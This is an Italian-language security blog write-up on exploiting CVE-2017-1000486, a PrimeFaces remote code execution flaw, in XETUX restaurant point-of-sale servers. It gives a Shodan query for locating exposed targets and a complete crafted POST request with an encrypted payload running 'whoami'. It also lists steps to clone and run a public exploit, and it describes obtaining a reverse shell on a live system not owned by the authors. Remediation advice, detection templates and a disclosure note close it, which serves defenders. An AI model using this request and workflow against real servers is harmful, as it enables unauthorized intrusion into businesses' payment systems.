
Sfruttamento CVE-2017-1000486
In questa occasione ci siamo imbattuti per caso in una vulnerabilità presente in diverse applicazioni di POS per ristoranti XETUX, che è una soluzione per il monitoraggio e l'automazione dei ristoranti. A Panama è uno strumento ampiamente utilizzato da diversi ristoranti.
La vulnerabilità presente è una RCE (remote code execution), che consente agli attaccanti di eseguire codice in modo non autenticato e ottenere privilegi sul bersaglio.

Una volta scoperta l'esistenza di una libreria presente nell'applicazione Xetux, la libreria in questione si chiama primefaces, incaricata di generare PDF, abbiamo deciso di effettuare una ricerca su Shodan per identificare possibili obiettivi
http.title:"@XETUX" country:PA
La ricerca ha restituito 40 risultati e 334 nel mondo

Procediamo a verificare la vulnerabilità su uno degli obiettivi che non si trovavano a Panama; analizzando i risultati, il backend

Possiamo osservare che l'applicazione è stata installata con tutti i privilegi nt authoriy\system; spieghiamo cosa succede di seguito:
L'applicazione usa Apache Tomcat come server, per il backend si usa Java; nell'applicazione viene usata una libreria o un plugin di terze parti chiamato Primefaces, il percorso con il problema è l'endpoint javax.faces.resource/dynamiccontent.properties.xhtml
Cercando informazioni su questa libreria, abbiamo trovato una vulnerabilità, Primefaces carica contenuto dinamico nel seguente modo
/javax.faces.resource/dynamiccontent.properties.jsf?ln=primefaces&pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl&forcereload=1523006610695&pfdrid_c=true
Il problema si trova nel parametro pdfid
pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl
Il valore del parametro è cifrato e non c'è modo di verificare se la richiesta verrà decifrata correttamente; sfortunatamente, se non modificano i valori della chiave predefinita, si può richiedere la generazione di una chiave predefinita, quindi fortunatamente per noi tutti i test effettuati mantenevano la chiave predefinita.
Allo stesso modo si potrebbe effettuare un attacco Padding Oracle Attack e ottenere le chiavi con lo strumento Padbuster. Di seguito condividiamo la richiesta
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: ip:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1643
pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami
Come menzionato in precedenza, la libreria che contiene la RCE è Primefaces, la quale ha un exploit pubblico CVE-2017-1000486
Proveremo la vulnerabilità scaricando l'exploit
git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486
pip3 install -r requirements.txt
Eseguiamo l'exploit

Questo ci restituirà una chiave e la richiesta

Ci restituirà il risultato del comando

Ora procediamo a ottenere la reverse shell per accedere al server:

È importante sottolineare che la falla non riguarda solo il software Xetux; la stessa è nella libreria Primefaces e si trova in altre applicazioni come MaxView Storage Manager e DOCBOX.
I fix per la vulnerabilità esistono da anni, dato che la stessa è del 2017; si consiglia di aggiornare primefaces.
L'accesso all'endpoint è senza autenticazione, quindi chiunque può effettuare richieste; perciò è necessario validare se le richieste sono valide.
Se si utilizza una delle applicazioni menzionate, condividiamo il repository di nuclei con cui è possibile verificare se si è vulnerabili https://gitlab.com/t0adsec/nuclei-templates
Abbiamo informato responsabilmente i fornitori dell'app nei rispettivi paesi, tuttavia ad oggi non abbiamo ricevuto alcun contatto da parte loro.